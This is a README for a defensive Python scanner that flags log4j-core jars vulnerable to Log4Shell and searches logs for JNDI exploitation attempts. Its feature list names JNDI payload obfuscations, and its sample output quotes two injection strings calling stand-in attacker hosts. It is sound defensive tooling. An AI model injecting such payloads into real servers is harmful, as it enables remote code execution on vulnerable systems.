log4shell-scanner

A dependency-free, defensive scanner for Log4Shell — finds vulnerable log4j-core jars and JNDI exploit patterns in logs and config.

Why this project

During my CERT-In rotation I worked on threat identification, containment, remediation and threat hunting — exactly the workflow Log4Shell (CVE-2021-44228) demanded at scale in December 2021: find every vulnerable log4j-core artefact across a fleet, and hunt logs for ${jndi:...} exploitation attempts. This scanner reconstructs that defensive workflow in a single, portable, standard-library Python script that needs nothing installed on the host it inspects.

Features

• Archive discovery — walks a directory tree for .jar / .war / .ear files.
• Authoritative version detection — reads pom.properties and MANIFEST.MF from inside each archive with zipfile, falling back to the filename; distinguishes real log4j-core from unrelated jars.
• CVE flagging across the Log4Shell family:
  • CVE-2021-44228 (RCE) — log4j-core 2.0-beta9 … 2.14.1
  • CVE-2021-45046 (incomplete fix) — up to 2.15.0
  • CVE-2021-45105 (DoS) — up to 2.16.0
• Exploit-pattern hunting — greps logs/config/source for ${jndi:ldap:// and common obfuscations (${${lower:j}ndi:…}, brace-split j}ndi:, ${::-j}).
• Actionable remediation — upgrade to 2.17.1+, or strip JndiLookup.class, plus egress-monitoring guidance.
• Bundled sample tree with a fake vulnerable log4j-core-2.14.1.jar (real zip containing a log4j-core pom.properties), a patched 2.17.1.jar, an unrelated jar, and a log with JNDI payloads.
• --demo builds and scans the sample tree end-to-end.
• Pure Python standard library (os, re, zipfile). No dependencies.

Tech stack

Python 3 (standard library only: argparse, os, re, zipfile).

Installation

git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version   # Python 3.8+
# no dependencies to install

Usage

Run the demo against the bundled sample tree:

python log4shell_scan.py --demo

Expected output (abridged):

--- Archives (log4j-core detection) ---
  [ok]         .../commons-lang3-3.12.0.jar
        version: unknown   (via no log4j-core detected)
  [VULNERABLE] .../log4j-core-2.14.1.jar
        version: 2.14.1   (via pom.properties (...))
        !! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
        !! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
        !! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
  [ok]         .../log4j-core-2.17.1.jar
        version: 2.17.1   (via pom.properties (...))

--- Exploit-pattern matches (JNDI payloads in text/logs) ---
  [MATCH] .../access.log (2 hit(s))
        L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
        L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"

--- Summary ---
  Vulnerable archives:      1
  Files with JNDI patterns: 1

Scan any directory you are authorised to assess:

python log4shell_scan.py /path/to/deployed/app

The process exit code is 1 when anything vulnerable or suspicious is found, 0 when clean — convenient for CI/pipeline gating.

Rebuild the sample tree at any time:

python log4shell_scan.py --build-samples

Project structure

log4shell-scanner/
├── log4shell_scan.py      # scanner + sample-tree builder + CLI
├── samples/
│   └── app/
│       ├── libs/
│       │   ├── log4j-core-2.14.1.jar     # fake VULNERABLE jar (real zip)
│       │   ├── log4j-core-2.17.1.jar     # patched jar
│       │   └── commons-lang3-3.12.0.jar  # unrelated jar
│       ├── logs/
│       │   └── access.log                # contains JNDI payloads
│       └── config.properties             # benign (should not match)
├── README.md
├── LICENSE
└── .gitignore

Disclaimer

For educational, defensive, and authorised use only. Run it only against systems and artefacts you have permission to assess. The scanner reads and pattern-matches only — it never executes or exploits anything. The bundled sample jars are fabricated placeholders, not genuine Apache artefacts, and all payload hostnames use non-routable .test names. Version-to-CVE mappings are provided for orientation; verify against the official CVE and Apache Log4j security advisories.

Built by Arpit Gupta — LinkedIn · GitHub